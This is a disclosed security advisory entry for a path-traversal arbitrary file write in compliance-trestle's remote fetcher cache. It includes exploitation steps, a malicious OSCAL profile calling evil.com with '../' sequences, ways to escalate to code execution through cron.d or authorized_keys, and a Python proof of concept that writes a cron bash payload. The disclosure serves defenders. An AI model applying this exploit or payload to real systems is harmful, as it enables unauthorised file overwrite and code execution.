# compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal

compliance-trestle's HTTPS/SFTP fetchers build cache paths from unsanitized URL paths, letting a malicious OSCAL profile write attacker content outside the cache dir.

- Payout: Research
- Severity: high
- Program: compliance-trestle
- Found by: AnistoMejin, yantongggg
- Disclosed: 2026-05-27
- CVE: CVE-2026-45725
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-g3vg-vx23-3858
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-g3vg-vx23-3858
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:path-traversal vuln:rce

**Target:** Python library remote fetcher cache (HTTPSFetcher/SFTPFetcher)
**Root cause:** Cache path is built from urlparse(u.path).parent without stripping '../' sequences, and mkdir(parents=True)/write_text follow them with no is_relative_to boundary check.
**Steps:**
1. Install compliance-trestle 4.0.2.
2. Craft an OSCAL profile whose import href is `https://evil.com/../../../../../../../tmp/trestle_pwned.json`.
3. Run trestle import/fetch so HTTPSFetcher parses the URL.
4. Observe path_parent preserves `../`, mkdir creates dirs outside cache, and response.text is written to `/tmp/trestle_pwned.json`.
5. Point href at `/etc/cron.d/backdoor` or `/root/.ssh/authorized_keys` and serve malicious body to gain RCE.
**How found:** Code review of cache.py path construction: noticed urlparse preserves `../` and pathlib.Path(u.path).parent plus mkdir(parents=True) would resolve outside the cache dir, with no boundary check.
**Exploitation:** Attacker hosts a malicious OSCAL profile referencing a traversal URL; victim's trestle fetch writes the attacker's HTTP response body to an arbitrary filesystem path (cron.d, authorized_keys, nginx conf, sys.path .py), yielding code execution or config overwrite.
**Escalation:** Chains file write into RCE via cron job injection, SSH authorized_keys injection, or Python path hijacking.
**Insight:** When a library derives local cache paths from remote URL paths, test whether urlparse+pathlib preserve `../` and whether mkdir(parents=True)/write_text follow them; grep for missing is_relative_to checks around cache writes.

## Proof of concept (copied exactly from the original report)

**Malicious OSCAL profile with traversal href**

```
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
```

**Python PoC simulating cache path traversal write**

```
#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse

# Simulate trestle cache behavior (cache.py:259-266)
trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))
cache_dir = trestle_root / ".trestle" / ".cache"
cache_dir.mkdir(parents=True, exist_ok=True)

evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
u = urlparse(evil_url)

# Exact trestle code path
cached_dir = cache_dir / u.hostname
m = re.search(r'[^/\\\\]', u.path)
path_parent = Path(u.path[m.span()[0]:]).parent
cached_dir = cached_dir / path_parent
cached_dir.mkdir(parents=True, exist_ok=True)
cached_file = cached_dir / Path(Path(u.path).name)

print(f"Cache dir: {cache_dir}")
print(f"Resolved write target: {cached_file.resolve()}")
# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!

# Write attacker content
attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'
cached_file.write_text(attacker_payload)
print(f"Written: {cached_file.resolve().read_text()}")

# Cleanup
os.remove(str(cached_file.resolve()))
shutil.rmtree(str(trestle_root))
```

